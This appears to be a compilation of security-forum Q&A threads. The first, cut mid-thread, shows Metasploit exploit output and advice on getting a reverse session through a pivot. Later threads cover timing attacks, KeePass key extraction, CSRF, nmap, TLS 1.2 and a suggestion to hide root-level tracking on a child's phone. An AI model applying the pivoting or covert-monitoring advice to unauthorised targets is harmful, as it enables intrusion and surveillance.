[*] 192.168.128.133:445 - Automatically detecting the target...
[*] 192.168.128.133:445 - Fingerprint: Windows 2003 R2 - Service Pack 2 - lang:Unknown
[*] 192.168.128.133:445 - We could not detect the language pack, defaulting to English
[*] 192.168.128.133:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.128.133:445 - Attempting to trigger the vulnerability...
[*] Exploit completed, but no session was created.

Additionally I gave this a run with LHOST 0.0.0.0 as well as LHOST 192.168.128.132 (the .128 subnet address of the Linux VM), but no shell there either. What am I missing?

I have also tried doing this manually through SSH port forward as seen in https://highon.coffee/blog/ssh-meterpreter-pivoting-techniques/ and ended up with the same result. The exploit hits the Windows VM but no session is opened.

These are the main posts I have been referencing.

http://carnal0wnage.attackresearch.com/2007/09/using-metasploit-to-pivot-through_06.html
https://pentest.blog/explore-hidden-networks-with-double-pivoting/
http://www.whitelist1.com/2016/06/metasploit-double-pivoting.html

When using tunneling via meterpreter routes in Metasploit your lhost will become your first target.

So in this case your LHOST should be set to: 192.168.47.144

Try that.


Simple string comparisons not secure against timing attacks As I learned in a comment for How to encrypt in PHP, properly?, I was told using a string comparison like the following in PHP is susceptible to timing attacks. So it should not be used to compare two MACs or hashes (also password hashes) for equality.

if ($hash1 === $hash2) {
   //mac verification is OK
   echo "hashs are equal"
} else {
  //something bad happenend
  echo "hashs verification failed!";
}

Can someone please detail me what exactly the problem is, how an attack would look like and possibly provide a secure solution that avoid this particular problem.
How should it be done correctly? Is this a particular Problem of PHP or do other languages like e.g. Python, Java, C++, C etc. have the same issues?

The problem here is that generic string comparison functions return as soon as they find a difference between the strings. If the first byte is different, they return after just looking at one byte of the two strings. If the only difference is in the last byte, they process both entire strings before returning. This speeds things up in general, which is normally good. But it also means someone who can tell how long it takes to compare the strings can make a good guess where the first difference is.

In an attack scenario, an attacker has total control of $mac1 (it's taken from the attacker-made message), while $mac2 is the real valid MAC for the attacker's message. $mac2 must remain secret from the attacker, or he can stick it on his message and thus forge a valid message. The attacker, by analyzing the time it takes to get a response, can probably figure out where the first difference is between his MAC and the real one. He can try all possibilities for that one byte, find the correct one, and then work on the next byte secure in the knowledge that the first k bytes are right. At the end, he tried just 256*len MACs (if len is the length of the MAC) instead of the 256^len he should have had to try.


Keepass' password protection in memory Plenty of "passwords in memory" and "keepass" related (old) topics in here, but most of them are about how to harden key protection ; plus it seems protection mechanisms by Keepass have evolved for the last couple of years.
In 2021, as KeePass is running and unlocked, I understand the master key is stored in the RAM (obfuscated though). So the only moment you are vulnerable is when your KeePass is kept unlocked for the day and someone could have some kind of control over your device, preferably on a remote session (RDP, C2, TeamViewer, etc.) or physically (unprotected Windows 10 session as I understand you can't easily dump the RAM from USB/FW ports anymore while session is locked).
Question 1: is the above still right on this day?
Question 2: while KeePass is opened and the RAM just dumped, has it become really difficult* to find the master key since KeePass states it's been obfuscated?
*By difficult I mean 2 types of scenarios:

for a national agency
for a very good lonely hacker with limited financial means.

Question 1: is the above still right on this day?

That is the only time the key can be extracted from memory. But if someone has the level of access to access memory, they can compromise your system in other ways, and then grab your keys the next time you log in.

has it become really difficult to find the master key since KeePass states it's been obfuscated?

The problem with obfuscation, or security by obscurity in general, is that only one person has to figure out how your system works and then the system is easy game for everyone.
In the particular case of KeePass, this is demonstrated by the existence of KeeThief. One person (or a group) reverse engineered the obfuscation, and now state-sponsored and lone hackers alike can extract KeePass keys from memory. However, since KeePass protects the keys with DPAPI, the keys cannot be extracted from an isolated memory dump alone. Instead you would have to be able to execute code on the same device (under the same user account) to decrypt the keys.


Why can't we use a third party website to make a csrf attack? First of all, I'm quite new to web security so this might be a dumb question. Also English is not my native language so there might be some errors.

I understand that by having a csrf token as a hidden parameter in a form or HTTP header, an attacker cannot use something like an image tag to perform an action on the user's behalf. I also understand that if you have an XSS on the website, you can steal the csrf token and perform any action.

What I don't understand however is what prevent an attacker to his own domain, like evilsite.com, use JavaScript to make a GET request, analyses the response, extract the csrf token and submit the form to make some action. As you can make a post request with JQuery for example, you should be able to send the request and trick the user.

There should be a mechanism that I don't understand here because it makes no sense for me right now. What don't I understand?

Same-origin policy prevents a website from reading another website, which also prevents it from extracting the token to perform a CSRF attack.


Is this a security flaw in Firefox 18.0? I had a couple of .mht files which opened in IE, a browser I never use. I renamed their extension to .HTML to run it in Firefox. When I opened the file in Firefox, Firefox created new tabs endlessly. I had to close it to stop it.

Is this a security flaw in Firefox?

Firefox does not support MHT files without addons.

It is possible that you have tricked Firefox into opening each MIME object from the MHT file into a new tab. It is doubtful that this could turn into a security flaw.

Update:

I confirm that behavior with a valid MHT file. It is a Firefox configuration issue. By default, Firefox will not recognize the MHT and will ask you for a "Open with" program. If you select to open with Firefox and check "Do this automatically for files like this from now on", then it goes into a loop and will open many new tabs. It will stop if you press the Escape key.

This Mozilla support article is about the same symptom and contains a configuration fix.


client / login information is wrong when typing wrong client id When typing in my client number on my Bank logging page it tells me that client / login information is wrong when I make a typo . I'm wondering, is this not something that would allow an attacker to easily enumerate users login information and use it for a brute force attack ?

Not necessarily.

Your client number may be protected with a checksum. For example, the last digit of your client number might be used to make the sum of all previous digits divisible by 10 without remainder. Most numbers that must often be transfered manually by humans contain a checksum to quickly catch transcription errors.

This will not leak information about existing users, but it will reduce the search space for enumaration of existing client numbers by a factor of ten. If your client number is long enough, this isn't really a problem, though.


Does Whatsapp change key when switching phone? Alright so, I really didn't expect this but here's the story. I was doing some tests, I copied one of the .db.crypt12 in /sotrage/emulated/0/Whatsapp/Databases/ from my phone to my computer, then, I installed Whatsapp on an emulator and moved my account from my phone to the emulator. Then, I took the key file in /data/data/com.whatsapp/files/ from the emulator and tried to decrypt the database file, but with no luck. At that point I rooted my phone to get the original key and it was in fact different. How can the google drive backups be decrypted when you change phone if the key that the server sends you is different? Do they send the same key only if you login to google drive?

That's true. WhatsApp changes the keys when you switch the device. This also applies to the end-to-end encrypted conversations. But the cloud backup is not encrypted, or at least, not encrypted with the same device private key.


What to focus on in Cloud security? I am writing my bachelor thesis in CS on cloud security and its weaknesses and started to do research today and got quite overwhelmed.

I am mainly looking at IaaS and PaaS services and have decided to focus mostly on threaths caused by attackers. But it is really hard to decide where to start.

What is the biggest security issues with cloud atm? Would be nice to hear from someone who has worked more with cloud than I have. Is there any scientific article released in recent years discussing this? I only managed to find older ones.

Should I focus on encryption/decryption and what can be done there or are there bigger more pressing issues in cloud security? Any advice woul help.

Some articles I found interesting so far:
https://downloads.cloudsecurityalliance.org/initiatives/top_threats/The_Notorious_Nine_Cloud_Computing_Top_Threats_in_2013.pdf

http://www.enisa.europa.eu/activities/risk-management/files/deliverables/cloud-computing-risk-assessment

But even here there is just too much fo someone rather unfimiliar with the subject to write WELL about in 4 weeks. So can anyone with experience recommend the more common security risks that could be good for me to focus on.

From the cryptographic side of things, one big topic these days is side channel attacks: attackers try to extract information on private values in a given system by observing side effects such as power consumption, precise timing... A synthetic view of such attacks is that there are two distinct "worlds":

the "abstract world" in which a system receives inputs as sequences of 0 and 1, and outputs similar sequences;
the "physical world" in which computation takes place within measurable constraints such as computation time.

Side-channel attacks are about exploiting the differences between these two worlds.

The cloud is an attempt at disbelieving this difference. With the cloud, you get virtual machines under the assumption that they are indistinguishable as physical ones, since they compute the same things. Indeed, a VM will respond with the same sequences of 0 and 1 for the same inputs, so in the abstract world, a VM is a perfect emulation of a physical machine. But if we take notice of physical details, some problems arise. In particular the two following:

For many cryptographic protocols, there is a need for randomness. Randomness is extracted from physical elements. With a VM, the "physical" elements are emulated. A consequence is that a PRNG within a VM may be of suboptimal quality.

Typically, consider what happens if you take a snapshot of a live VM, and (later on) restore that snapshot: it is quite possible that the VM's PRNG will output the exact same sequence of random values that it did the first time, which can lead to severe security issues. An extreme example is the generation of the "k" value in DSA and ECDSA signatures: reusing the same k for two signatures (on distinct messages) reveals the private key (see this answer).
A VM run on some hardware, and that hardware may host several VM simultaneously. These VM share the same resources, in particular caches. This allows for cross-VM cache timing attacks.

This has been recently demonstrated in lab conditions: the researchers managed to pull off a cache timing attack on some AES implementations, allowing a VM to guess an AES encryption key used in another VM which just happened to run on the same hardware.

Side-channel attacks on cryptographic algorithms do not exhaust the vast well of security issues related to cloud computing, but they are still a fertile investigation field, and are enough to warrant a cautionary warning: you really really do not want to see your VM run on the same hardware than the VM from your competitors.


How is the signing of an OpenPGP public key realized technically? I recently have signed the public OpenPGP key of a friend of mine. Curious to see, which effect this would have on the actual key, I compared the key before and after signing it. What I found was that all but the last line of the key did not change. The last line did consist of five to six characters before as well as after signing it, however the characters have been altered. So my signature of my friends key is obviously contained in this last line.

How and using which information is this last line actually generated? Since it obviously contains not only my signature but also those of all the people that have signed that key before me.

Signing an OpenPGP key adds a signature packet, calculated on the fingerprint of the signee's key and one of his user IDs. You can easily observe this running gpg --export [signee's key id] | gpg --list-packets (the output can be rather massive for keys with a larger number of signatures, consider using less or a similar tool to be able to search and scroll the output), which displays rather technical details on the key. An example (a signature issued by CAcert on my own OpenPGP key):

:public key packet:
        version 4, algo 1, created 1356475387, expires 0
        pkey[0]: [8192 bits]
        pkey[1]: [17 bits]
        keyid: 4E1F799AA4FF2279
:user ID packet: "Jens Erat (born 1988-01-19 in Stuttgart, Germany)"
[snip, self-signatures omitted as irrelevant in this example]
:signature packet: algo 17, keyid D2BB0D0165D0FD58
        version 4, created 1356531044, md5len 0, sigclass 0x10
        digest algo 2, begin of digest 0b cc
        hashed subpkt 2 len 4 (sig created 2012-12-26)
        critical hashed subpkt 3 len 4 (sig expires after 1y1d0h0m)
        hashed subpkt 26 len 29 (policy: http://www.cacert.org/cps.php)
        subpkt 16 len 8 (issuer key ID D2BB0D0165D0FD58)
        data: [160 bits]
        data: [157 bits]

With other words: the actual public key is not modified, but a new packet is added containing the signature (or possibly multiple packets, if you signed multiple user IDs).

  The last line did consist of five to six characters before as well as after signing it, however the characters have been altered. So my signature of my friends key is obviously contained in this last line.

The last few characters contain a CRC-24 checksum. If this is changed, something more must have changed. Try to inspect both exports before and after adding the signature using diff.


I am a political activist, its likely that my computer will be compromised in the future, how can I secure my data? I have sensitive data to secure. My computer may likely be compromised physically in the future. How can I secure my date from various attacks like Evil Maid attacks and so forth. I have some basic knowledge of encryption and I can work with hidden Veracrypt volumes, but it doesn't protect me when attacker has physical access.

Tails is exactly what you want, being designed with activists in mind! It is a live Linux-based operating system that can run from a DVD or USB stick which is amnesic, meaning that any data that isn't explicitly saved to storage will vanish on reboot, including settings, metadata, and other information. Every time it boots up, it boots up fresh as if you have never used it before. Additionally, it forces all network connections through Tor, using a firewall to protect even from a compromised web browser.

Tails includes a variety of useful tools for document processing such as video and audio editors, text and document processors (generally compatible with the Microsoft Office suite), and a myriad of tools for cryptography, such as email clients supporting GnuPG encryption, chat clients supporting a wide variety of protocols (IRC, XMPP, AIM, etc) with chat encryption using OTR, and disk encryption utilities. It also contains Tor Browser, a browser designed for anonymity with use of the Tor anonymity network.

Basic evil maid attacks are prevented by keeping the Tails DVD or USB stick on your person, or downloading and verifying a fresh one if your primary copy was out of your sight for too long and may have been compromised. However, it is effectively impossible to protect from a sophisticated attacker who has prolonged access to your computer and is able to insert hardware backdoors.

Tails does

Prevent someone with your powered off computer from learning what was done on it.
Protect the content of your internet communications from a Wi-Fi or ISP-level attacker.
Allow you to visit websites without the websites knowing your location (anonymity).

Tails does not

Hide the fact that you are using Tails from an attacker on the network or a local adversary.
Protect your computer from prolonged physical access before or while it is on.
Prevent you from making OPSEC mistakes, such as accidentally publishing your identity.

For more detailed information on Tails' threat model, consult the design document.

Disclaimer: While not a core developer, I contribute code to Tails and as such could be considered associated with it.


Safe parental control app for Android? A lot of parents when they get smart phones (Android) for their children ask me whether I can install some kind of parental control app on the device (Even though I'm barely out of high school myself ;) ) And I usually say that these so called "parental control apps" or even spy apps will need basically unrestricted access to the device and this is a major privacy concern as they might be using it for illicit purposes.

But this got me thinking are there actually ANY safe apps for this purpose ?

The most major need will be a secondary call log like feature which stores all calls and sms' even if it has been deleted from the default call log of Android.

Having the ability to record these calls and GPS location logs would be nice but is not necessary.

Thank You.

Answers which are not country specific would be helpful.

Also, will it be practical to make my own app ? Is there any legal problems to that?

You do not need apps to keep track of calls and GPS position.

For most carriers, all calls are shown in the statement and most update this every few days or more often in the online view. For any line you can see what number was called and for how long. Since this information is coming from the carrier, you do not need to worry about anything being deleted by the child. If you pay the bill, you get to see this information for all lines on your plan. In most cases this will also show you who SMS/MMS were sent to, but not the content, and not email information since that is not a carrier service.

As for GPS tracking, you do not need an app for that. This is something which can also be done through the carrier or through third party GPS monitoring solutions for a fee. In most cases, this requires an opt-in, but since you can take your child's phone from them and opt-in, you will be able to do this. For example, on Verzion there is Family Tracker, which even lets you setup geo-fenced alerts. There are also third party services which provide opt-in tracking.

It is not usually illegal to install software to track and monitor your own property, and in many cases it is okay for a parent to track their child in such a way. For legal concerns though, please ask a lawyer as I am not a lawyer and therefore cannot provide legal advice.

With any type of app or local tracking, a smart kid will always be able to figure out how to disable the tracking or to send false data so any app has a likelihood of being circumvented. There are also alternatives like Google Voice, email, etc. or some encryption services that those who want to make it difficult will use. Likely, the best response would be for the parent to develop a trusting relationship with their child and to keep up with what they are doing and where they are going.

Something you may want to research more would be working on a rooted phone. It may be possible to password protect access to the rooted controls and you may be able to put something there and have it be hidden from the user mode apps since you are doing this as root. You would of course have to root the phone. A quick search shows at least one example of a GPS app that can installed as a service with root in the background. I am sure someone makes such things for call recording, logs, etc as well which might be worth further research.

Since you wanted more information on India, it looks like perhaps you could ask the government, as there are plans to track all mobiles in real time. At least for a kidnapping or runaway I would imagine the police could leverage this, later to dinner, probably not.


nmap giving different scan results based on scan type A quick and dirty nmap scan (nmap -p 1-65535 hostname) lists many ports as open. However, a more involved scan (nmap -T4 -A -sS -sU hostname) does not list the same ports as open. Some report as open, and others I'm guessing get thrown into the extraports state as there are many reported there. My question is why am I getting two different scan results seemingly based off the nmap scan type.

Your first command line, nmap -p 1-65535 hostname, specifies all 65535 ports will be scanned.  Your second command line does not specify which ports to scan, so nmap will default to the top 1000 ports.
The difference between your two scans is the set of ports you're scanning.  The second scan is a small subset of the first, and so its results are a subset of the first scan.
Both scans are scanning TCP (implicit -sT on the first, explicit -sS on the second) and the second scans UDP as well (-sU).  The amount of UDP findings was probably very small if anything; it's really the number of TCP ports scanned that's making the difference.
Try adding -p 1-65535 to the second command line to equalize the scans.


Can Router logs give us information of which apps are interacting with each other? A friend of mine said he could know which apps are installed on certain device and which apps are interacting with each other through the router logs. Is that possible? Can the logs give such an info. For example, I've installed WeChat. Can the logs from the router show that I've installed WeChat?

Yes, “enterprise-class” routers can collect traffic information in multiple ways:

An access-list could be applied to log all (or selected) traffic.  (this could adversely impact the router’s performance depending on the amount of traffic being logged)
The router could export “netflow” data to a netflow analyzer, which can generate reports on traffic.  In high bandwidth situations netflow export is often “sampled”, allowing bandwidth reports but less useful for forensic analysis.
The router can mirror data out a monitoring port, where a sniffer can analyze and/or store the packets.
Some routers and firewalls have “application inspection” capabilities, allowing them to analyze traffic beyond the protocol/port/IP-address basis.
Some routers have a “lawful intercept” feature-set, which I presume includes the ability to capture a subset of traffic.

Frankly, an easier way to see who is using a particular application is to set the DNS server (advertised in DHCP and IPv6 router advertisements) to a monitoring DNS server (such as openDNS).


What are the differences between MD5, SHA  and RSA? MD5 tools output hexadecimal values. In the same manner, do SHA and RSA together produce a hexadecimal (or any other) output?

What are the differences between the MD5, SHA and RSA algorithms?

It's not the type of output.  Hex is just the way the data is formatted - since all of them are working on binary data, hex makes a great deal of sense.

The important part is what they do and how they do it:

MD5 and SHA are hash functions (SHA is actually a family of hash functions) - they take a piece of data, compact it and create a suitably unique output that is very hard to emulate with a different piece of data.  They don't encrypt anything - you can't take MD5 or SHA output and "unhash" it to get back to your starting point.  The difference between the two lies in what algorithm they use to create the hash. Also note that MD5 is now broken as a way was discovered to easily generate collisions and should not be used nor trusted anymore.
RSA is an assymetric encryption algorithm.  You have two keys (private and public) and you can perform a function with one key (encrypt or decrypt) and reverse with the other key.  Which key you use depends on whether you are trying to do a digital signature or an encryption.


Questions to confirm a good standpoint on web app security? What should be the questions asked to assess a company on web app security?

Our company is in process of partnering with another company in order to outsource web app security work to them. For us to make sure they would deliver the right assets, what questions, documents, or processes should be considered asking?

Also, the tests which they would likely do for us are black-box security assessments which include but is not limited to webapp security assessments, penetration tests, mitigation queries and answering any queries from the client if the clients does not necessarily understand the technical aspects of the security assessments conducted.

I'm sorry to revive an old question, but Jacob Kaplan-Moss - co-creator of Django - recently wrote a great article about this exact subject: Our Dumb Security Questionnaire. It consists of the following ten questions:
(1) Please answer these questions:

If you use a cloud provider (GCP/AWS/Azure/etc):

describe how credentials are provisioned, managed, and stored.
If an attacker gained access to an individual developer’s cloud credentials, what actions could that attacker perform, and how would you detect and respond to the breach?

If you don’t use a cloud provider: why not?

Describe how staff authenticate to company services (e.g. servers, email, SaaS products), particularly highlighting your use of password managers, 2FA, and SSO.

What development practices do you use to protect against the OWASP Top 10?

Describe the steps a developer or operations person takes to push new code to production.

Have you had any security breaches in the last two years?

If yes: please explain the breach, and provide copies of any postmortem/root cause analysis/after-action reports.

(2) And, please provide as many of the following as possible:

A recent (last 12 months) penetration test report, with information on what follow-ups/remediation steps were taken. Reports by an external firm are preferable; internal tests are OK. A redacted summary is fine as long as it includes basic vulnerability descriptions and severity levels.

Documentation on your organization’s Secure Development Lifecycle, or similar, if you have them. If not, please summarize the steps you take to help engineers write secure code.

A copy of any security training material provided to staff, particularly software developers. A summary/description of classes and content is fine.

A link to your Vulnerability Disclosure Policy and/or bug bounty program. If you don’t have either: please explain.


Sending Credentials On Each Request I am going to be using a Symfony SMB Bundle like this to browse a Windows File System through PHP.

To do this - I'll create a Web API that will return a list of files and directories in a directory so you can browse through the contents of a network share.

As I'll need to authenticate with LDAP each time I make the connection, what is the best way to send the LDAP username and password of the user each time?

Is it safe to store a private key on the server in a database against the username, that is used to encrypt a string e.g. (username:password:timestamp:ipaddress) and then have the client sends that encrypted string with each request using HTTPS for the server to then decrypt and use the credentials - after each request the private key will be changed. If the timestamp has expired it'll reject it, if the IP address does not match it'll reject it etc.

Or is there a better / more secure way to authenticate with credentials each time without the user having to re-enter for every request?

First thing you should do is check to see if there is anything exist you can use instead of trying to roll your own authentication / authorization framework. Going web? Then look at OAuth 2.0 or OpenID. If you have to roll your own then:

Avoid sending credentials if you can - instead send a token that can be used to verify the credentials. Signed token with a hash value that can be used to represent the secret.

Once your token is generated cache it on the client in a secure manor and send per request.


How was my Gmail account hacked from China? Yesterday I got back home from an overseas trip to Germany only to find that my Gmail was logged in from China. Now  I'm not tech savvy and believe I might have made some mistakes regarding security but how in god's name did someone from China access my Gmail account? I could not login to my account while in Germany due to Gmail blocking it as a suspicious login but it allowed someone from China?

Remote attacks can be from anywhere in the world and are rarely in the same geographic vicinity as the target.

This said there are a LOT of different ways your account could have been compromised and it may have nothing to do with your recent activities. If you use a patterned, or similar format, password on multiple websites your e-mail and password pattern could have been gathered from another site being breached. For example, if you use the following password on Yahoo:

123yahoo

and I know your e-mail address is with Google I might suspect your Gmail password is:

123google or 123gmail

simply from looking at another password you've used and your e-mail address. The timing could be a coincidence.

As another example of where it may have nothing to do with your activities, and I do NOT think your situation is a result of the following, but a while back Google was breached by Chinese Hackers (or at least that's who it's attributed to in the following article):

https://www.washingtonpost.com/world/national-security/chinese-hackers-who-breached-google-gained-access-to-sensitive-data-us-officials-say/2013/05/20/51330428-be34-11e2-89c9-3be8095fe767_story.html?utm_term=.794baab6ca8e

So right off the bat get rid of any thoughts that attackers need to be physically close to you to attack you on-line. Humans evolved to only be concerned about threats in their immediate proximity and it causes us problems when perceiving threats in the correct context on-line.

There isn't enough information in your post to step through all the activities you have done in the past with your account for anyone to really answer exactly how you were attacked but browser attacks, especially if you have used an older browser, and malware on all the systems you've used is certainly a possibility. If you've used any computers that you don't normally use those would also be likely candidates. Again there are thousands of potential possibilities but those are things I think most people would tell you to look at first.


Questions on TLS 1.2 RFC - Clarification or references needed I have been reading RFC 5246 on TLS 1.2 and have a few questions on algorithms chosen. Before I start, let me clarify that I am reading on 1.2 and not 1.3 because my ultimate interest is in DTLS 1.2.
I am confused with what appears to me to be conflicting definitions of cipherSuites, key exchange algorithm, bulk encryption algorithm, MAC algorithm and signature algorithms.

I want to deal with a simple situation of a server certificate and no client certificate. In that context, the following questions arise:

First, 7.4.1.1 states:

 Each cipher suite defines a key
 exchange algorithm, a bulk encryption algorithm (including secret key
 length), a MAC algorithm, and a PRF.  The server will select a cipher
 suite or, if no acceptable choices are presented, return a handshake
 failure alert and close the connection.

My naive understanding is that all the algorithms required are right here in this exchange. Specifically because the Server Hello replies with a single cipher_suite meaning it has selected one (or closed). But then comes section 7.4.1.4.1 talking about "Signature Algorithms" extension. So, a signature algorithm can be specified through an extension. But a paragraph later in the same section states:

 The semantics of this extension are somewhat complicated because the
 cipher suite indicates permissible signature algorithms but not hash
 algorithms.  Sections 7.4.2 and 7.4.3 describe the appropriate rules.

So, does it mean that the Signature-algorithms extension is used to specify the Signature Algorithm from a set of signature algorithms selected by the server from a possibly bigger set offered by the client in the Client Hello?

What does 7.4.2 refer to, in relevant part? It gives permissible mappings between Key Exchange Algo and Certificate Key Type.

To make things more confusing for me comes Section 7.4.3:

  The ServerKeyExchange message is sent by the server only when the
  server Certificate message (if sent) does not contain enough data
  to allow the client to exchange a premaster secret.

What exactly is this "enough data"? Does a standard (whatever that implies!) certificate not have "enough data" any way?
Will the server not have picked the key-exchange-algo, when sending the Server Hello, to match the server Certificate it sent?

Then in that same section, comes this:

 If the client provided a "signature_algorithms" extension, then all
 certificates provided by the server MUST be signed by a
 hash/signature algorithm pair that appears in that extension.  Note
 that this implies that a certificate containing a key for one
 signature algorithm MAY be signed using a different signature
 algorithm (for instance, an RSA key signed with a DSA key).

I do not understand "... a certificate containing a key for one..."
The only key that a certificate has is the public key. The signature of the key as well
as the algorithm used to sign it are part of the certificate. Why is a signature algorithm needed in extensions to deal with this issue?

IS THERE ANY DOCUMENT TO EXPLAIN THE ABOVE ISSUES in more detail or in simple form? Most tutorials deal with an overall summary but not with such details.

First, 7.4.1.1 states:
   Each cipher suite defines a key
   exchange algorithm, a bulk encryption algorithm (including secret key
   length), a MAC algorithm, and a PRF.  ....

  My naive understanding is that all the algorithms required are right here in this exchange.

No. A (pre-TLS1.3) ciphersuite defines many of the algorithms used, but not all. It defines the ones that are in the list you quoted, and it doesn't define the ones that aren't in that list. That's rather the point of explicitly stating the list of things that are defined.

  But then comes section 7.4.1.4.1 talking about "Signature Algorithms" extension. So, a signature algorithm can be specified through an extension. But a paragraph later in the same section states:

  The semantics of this extension are somewhat complicated because the
   cipher suite indicates permissible signature algorithms but not hash
   algorithms.  Sections 7.4.2 and 7.4.3 describe the appropriate rules.

  So, does it mean that the Signature-algorithms extension is used to specify the Signature Algorithm from a set of signature algorithms selected by the server from a possibly bigger set offered by the client in the Client Hello?

Kind of. There can be and often is more than one signature used, and thus possibly more than one signature algorithm used. Each signature must meet both the constraints given by the ciphersuite, where applicable, and the sigalgs extension, if present. As it says, these are detailed in 7.4.2 and 7.4.3.

  What does 7.4.2 refer to, in relevant part? It gives permissible mappings between Key Exchange Algo and Certificate Key Type.

So it does, and immediately afterward it says

   If the client provided a "signature_algorithms" extension, then all
   certificates provided by the server MUST be signed by a
   hash/signature algorithm pair that appears in that extension.  Note
   that this implies that a certificate containing a key for one
   signature algorithm MAY be signed using a different signature
   algorithm (for instance, an RSA key signed with a DSA key).  This is
   a departure from TLS 1.1, which required that the algorithms be the
   same.  Note that this also implies that the DH_DSS, DH_RSA,
   ECDH_ECDSA, and ECDH_RSA key exchange algorithms do not restrict the
   algorithm used to sign the certificate.  Fixed DH certificates MAY be
   signed with any hash/signature algorithm pair appearing in the
   extension.  The names DH_DSS, DH_RSA, ECDH_ECDSA, and ECDH_RSA are
   historical.

(You quoted part of this as being in 7.4.3, but it's not, it's in 7.4.2.)

Thus the keyexchange in the ciphersuite controls the type of key in the server (EE, leaf) cert, but not the signature on that cert by the CA, which depends primarily on the type of key used by the CA and not the type of key used by the server. In addition, the simplified model often presented that the server cert is issued/signed by a CA trusted by the client is just that, simplified. In practice there are nearly always two levels of CA and sometimes more; this is indicated, though not really explained, in the description of certificate_list about a page earlier in the same section:

      This is a sequence (chain) of certificates.  The sender's
      certificate MUST come first in the list.  Each following
      certificate MUST directly certify the one preceding it.
      ... the root ... MAY be omitted ....

Sigalgs constrains the signatures on all the certs in the chain -- possibly excepting the root, because the root signature is a dummy self-signature that needn't be checked -- and the keyexchange/ciphersuite does not.

Aside: after not having a cert/key at all, this is probably the thing server admins, operators, and programmers screw up most often. You can find lots of Qs on several Stacks about 'TLS doesn't work' which turns out to be the server not correctly sending chain certs, usually because it's configured wrong. Because it is so common some clients, especially web browsers, try to work around it and often succeed, which causes people to misunderstand and even disbelieve the problem: "My server can't be wrong, because $thing works!" "Yes $thing works AND your server is still wrong". TLS1.3 (RFC8446) relaxes this slightly -- the server is still supposed to send the full chain optionally omitting root, but is not required to do so in strict sequence.

  To make things more confusing for me comes Section 7.4.3:

  The ServerKeyExchange message is sent by the server only when the
    server Certificate message (if sent) does not contain enough data
    to allow the client to exchange a premaster secret.

  What exactly is this "enough data"? Does a standard (whatever that implies!) certificate not have "enough data" any way? Will the server not have picked the key-exchange-algo, when sending the Server Hello, to match the server Certificate it sent?

Literally the next lines answer your question.

      ... This is true [more data is needed]
      for the following key exchange methods:

         DHE_DSS
         DHE_RSA
         DH_anon

     [plus ECDHE_RSA ECDHE_ECDSA ECDH_anon in RFC4492,
     referenced in the next paragraph]

These key exchanges are 'ephemeral' keyexchanges -- they use a newly-created keypair for each handshake, which cannot be in the certificate because the certificate was created in advance -- often far in advance (like years). Thus the ServerKeyExchange message is needed to convey (and validate) the publickey. The server will indeed choose a keyexchange and cert-plus-static-key that are compatible with each other, as well as being permitted by the client, but most clients today will list as preferred, and most servers will choose (either on their own bat or following client preference) an ephemeral keyexchange over one that isn't, because it provides the valuable feature Forward Secrecy aka Perfect Forward Secrecy (PFS).

      It is not legal to send the ServerKeyExchange message for the
      following key exchange methods:

         RSA
         DH_DSS
         DH_RSA

      [plus ECDH_RSA ECDH_ECDSA in RFC4492]

because those keyexchanges use (and need) only the publickey in the certificate. Only the first, RSA, is commonly used; the 'static' aka 'fixed' (non-ephemeral) DH and ECDH keyexchanges are mostly useless, and the former (static-DH) require a cert that can't be obtained from any known CA.

In addition to the publickey (and mostly certificate) based keyexchanges defined in RFC5246 (and 4346 and 2246) and RFC4492, there are some other keyexchanges defined in other RFCs like PSK (Pre-Shared Key), SRP (Secure Remote Password), and Kerberos which use ServerKeyExchange (and ClientKeyExchange as well) in substantially different ways. These are not used on the public network, and only rarely even on private networks. Consult those other RFCs for details; they can be found via the IANA registry.

In TLS1.0 (and SSL3) there were 'export' ciphersuites some of which used a keyexchange called RSA_EXPORT, which for legal reasons had the restriction that an RSA key over 512 bits could be used for signing but not encryption. This meant that if the server RSA cert key was 512 bits (or less) it simply sent the cert and the client used it, but if the cert key was longer it sent ServerKeyExchange containing a 'temporary' RSA key of 512 bits (or less) to be used for encrypting the premaster secret, signed by the (longer) key in the cert. This 'export' feature had other, also very detrimental, effects as well. See RFC2246 for the awful details.

The 'appropriate rules' in 7.4.3 are on page 52, and describe the signature in the ServerKeyExchange message, which covers the body of that message plus the session nonces, and uses the publickey in the server cert:

   If the client has offered the "signature_algorithms" extension, the
   signature algorithm and hash algorithm MUST be a pair listed in that
   extension.  ....

   In addition, the hash and signature algorithms MUST be compatible
   with the key in the server's end-entity certificate.  RSA keys MAY be
   used with any permitted hash algorithm, subject to restrictions in
   the certificate, if any.

   Because DSA signatures do not contain any secure indication of hash
   algorithm, there is a risk of hash substitution if multiple hashes
   may be used with any key.  Currently, DSA [DSS] may only be used with
   SHA-1.  Future revisions of DSS [DSS-3] are expected to allow the use
   of other digest algorithms with DSA, as well as guidance as to which
   digest algorithms should be used with each key size.  In addition,
   future revisions of [PKIX] may specify mechanisms for certificates to
   indicate which digest algorithms are to be used with DSA.

As predicted, FIPS186-3 in 2009 (and -4 in 2013) define DSA with larger sizes and SHA-2 hashes, and RFC5758 in 2010 allows them in PKIX (technically modifying 3279, not 3280 or 5280).


Samsung SSD 840/850 EVO with DiskCryptor? Samsung's 840/850 EVO SSDs have hardware full disk encryption feature, however the stock disk management app (Magician) only mentions BitLocker's support.

  Encrypted Drive feature provided by BitLocker® Drive Encryption in Windows® 8 and Windows Server® 2012.

As user of Windows 10 Home I am not able to use this feature (BitLocker is available only in Pro / Ultimate versions of Windows). While looking for an alternative I came across DiskCryptor (TrueCrypt doesn't seem too reliable now). The website mentions support for hardware AES acceleration, but only on CPU side(?):

  Support for hardware AES acceleration:
     AES New Instructions set on recent Intel and AMD CPUs;
     PadLock extensions on VIA processors.

Will DiskCryptor benefit from EVO's hardware encryption feature? If not, are there another BitLocker and TrueCrypt alternatives that would make use of it?

I am only interested in FDE using disk hardware solutions. Engaging CPU power in my case isn't worth it.

Thanks!

DiskCryptor will likely not benefit from the hardware FDE stuff on the SSD. The best information I can find is that the drive always encrypts, it's just a question of whether or not the key is password protected, as it should be to actually be relevant.

If your BIOS/EFI supports it, you can actually enable it there:
Security > Password on boot > HDD Password (Will differ depending on the BIOS)
This should then "just work".

EDIT: There's some really interesting discussion here: http://www.sevenforums.com/hardware-devices/314650-my-review-samsung-840-evo-ssd-full-drive-encryption.html


